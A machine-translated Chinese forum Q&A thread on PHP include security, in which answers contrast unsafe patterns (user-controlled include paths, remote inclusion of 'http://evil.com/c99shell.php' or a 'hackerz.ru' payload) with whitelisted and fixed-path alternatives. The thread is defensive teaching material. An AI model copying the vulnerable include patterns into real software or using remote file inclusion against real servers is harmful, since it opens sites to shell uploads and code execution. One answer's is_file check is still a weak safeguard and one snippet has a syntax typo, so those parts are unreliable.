我正在使用"include"函数(例如"include 'header2.php'"或"include 'class.users.php'")以在我的网站中添加标头或会话类。我真的不记得在哪里,但我听说黑客以某种方式滥用这个"包含"的东西,发送虚假的包含页面或类似的东西。所以基本上我想知道"包含"功能有什么,我如何保护它,他们如何滥用它,以及是否有更好的解决方案来解决我正在寻找的东西。
提前谢谢。
这完全取决于您如何实现它。如果您专门设置了路径,那么它是安全的。如果您允许用户输入确定文件路径而不进行清理或检查,则可能会发生攻击。
不安全(目录遍历)
<?php
include($_GET['file']);
?>
不安全(网址 fopen - 如果启用)
<?php
include('http://evil.com/c99shell.php');
?>
不安全的
<?php
include('./some_dir/' . $_GET['file']);
?>
部分不安全(*.php文件易受攻击)
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
安全(虽然不知道为什么有人会这样做。
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
安全
<?php
include('./includes/somefile.php');
?>
包含的最大问题可能是将文件扩展名从PHP更改为Web服务器不会自动执行的内容。 例如 library.inc 或 config.inc。 使用 Web 浏览器调用这些文件将显示代码而不是执行它 - 并且将显示任何密码或可利用的提示。
将可能包含密码的config.php与config.inc进行比较。 在大多数情况下,拉起config.inc将显示数据库密码是什么。
有些程序员将.inc扩展名用于库。前提是它们不会位于 Web 服务器可访问的目录中。但是,安全性偏执狂较少的程序员可能会将该文件转储到方便的Web目录中。
否则,请确保不包含由查询字符串以某种方式提交的文件。 例如:include( $_GET['menu_file'] )
<-这是非常错误的。
包含可能会被滥用,如果你做这样的事情:
include($_GET["page"]);
然后调用 URL:
myscript.php?page=index.php
然后,攻击者可以用index.php
代替hxxp://hackerz.ru/install_stuff.php
,您的服务器将很乐意运行它。
include
本身是完全安全的。只需确保始终验证/转义您的输入即可。
服务器端(假设您的服务器没有受到损害)都是安全的。这样做:
不安全的
$var = $_GET['var']';
include $var . ".php";
安全
include "page.php";
包含是安全的,前提是您不:
- 包括一个远程文件,如
www.someoneelsesssite.com/something.php
- 包括来自客户端的路径中的文件。
www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
- 包含来自另一个可能受污染的来源(如数据库)的文件。
从技术上讲,2 和 3 有一个警告,如果您不允许.
或/
或在 Windows '
上,您可能没问题。但是,如果你不知道为什么,你对它的了解还不够多,无法冒险。即使您认为数据库是只读的或其他安全的,明智的做法是不要假设,除非您真的必须这样做,这几乎永远不会。
正如pp19dd的回答所指出的那样。使用 .php 扩展名命名包含也很重要。如果您已经将 apache(或您正在使用的任何 Web 服务器)设置为将另一种文件类型解析为 PHP,那也是安全的。但是,如果您不确定,请仅使用.php。
最好的办法是确保您尝试包含的页面首先存在。真正的安全漏洞来自从某种用户输入(例如 URL 变量)处理包含页面时。 ?include=page.php
只要你对这些保持谨慎,你应该没事。
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
我正在使用这种方法。
<?php include (dirname(__FILE__).'/file.php');